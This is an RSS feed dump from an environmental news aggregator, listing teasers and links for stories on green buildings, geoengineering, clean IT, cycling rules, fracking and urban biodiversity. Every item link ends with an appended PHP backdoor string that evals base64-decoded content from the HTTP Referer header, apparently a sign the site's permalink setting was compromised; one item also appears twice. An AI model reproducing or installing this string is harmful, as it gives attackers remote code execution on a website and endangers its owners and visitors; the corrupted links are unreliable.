http://greenworldezine.com Wed, 08 Feb 2012 12:03:00 +0000 http://backend.userland.com/rss092 en The office building, going for LEED Platinum, is built on top of a brick factory from another era. It rises to the challenge. Go here to read the rest: The Centre For Green Cities At Evergreen Brickworks Demonstrates How To Work With industrial Relics, Graffiti and All http://greenworldezine.com/2012/02/08/the-centre-for-green-cities-at-evergreen-brickworks-demonstrates-how-to-work-with-industrial-relics-graffiti-and-all/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ "The stakes are very high and scientists are not the best people to deal with the social, ethical or political issues that geoengineering raises." View original here: Geoengineering is a Technical Fix for a Political Problem http://greenworldezine.com/2012/02/08/geoengineering-is-a-technical-fix-for-a-political-problem/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Google leads the pack in Greenpeace's annual ranking of IT companies based on their efforts to use clean energy and reduce their environmental impact. Here is the original:  Google Tops Greenpeace's Clean IT List http://greenworldezine.com/2012/02/08/google-tops-greenpeaces-clean-it-list/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ "It makes cycle traffic more fluid and avoids bunching up cyclists when the traffic lights go green for motorists," said municipal authorities. Read the original: France Grants Cyclists the Right to Run Red Lights http://greenworldezine.com/2012/02/07/france-grants-cyclists-the-right-to-run-red-lights/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ DoSomething.org launches their annual Green Your School Challenge See the rest here: Students, Join the Green Your School Challenge! http://greenworldezine.com/2012/02/07/students-join-the-green-your-school-challenge/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ An organic company in upstate New York is concerned that all 1,600 organic farms in the state could be in jeopardy of losing organic status. Read the original here:  Fracking Could Ruin New York's Organic Food Industry http://greenworldezine.com/2012/02/07/fracking-could-ruin-new-yorks-organic-food-industry/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Stockholm and London are famous for congestion charging to keep cars out of central districts. Now Milan's heading that direction, with impressive results Original post: Congestion Charge Is Traffic-Cutting Magic in Milan http://greenworldezine.com/2012/02/07/congestion-charge-is-traffic-cutting-magic-in-milan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Designed to hang on unused walls on city buildings, this prototype could provide much-needed habitats for crucial species of birds. View original here:  "Bird City" Habitat Hangs In Unused City Spaces -- Boosting Urban Biodiversity http://greenworldezine.com/2012/02/07/bird-city-habitat-hangs-in-unused-city-spaces-boosting-urban-biodiversity/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Like cell phones and solar, a Zimbabwean wonders whether the "sharing economy" could create a leap frog opportunity in Africa. Read more here: Will Collaborative Consumption Thrive in Africa? http://greenworldezine.com/2012/02/07/will-collaborative-consumption-thrive-in-africa/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Like cell phones and solar, a Zimbabwean wonders whether the "sharing economy" could create a leap frog opportunity in Africa. View post:  Will Collaborative Consumption Thrive in Africa? http://greenworldezine.com/2012/02/07/will-collaborative-consumption-thrive-in-africa/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/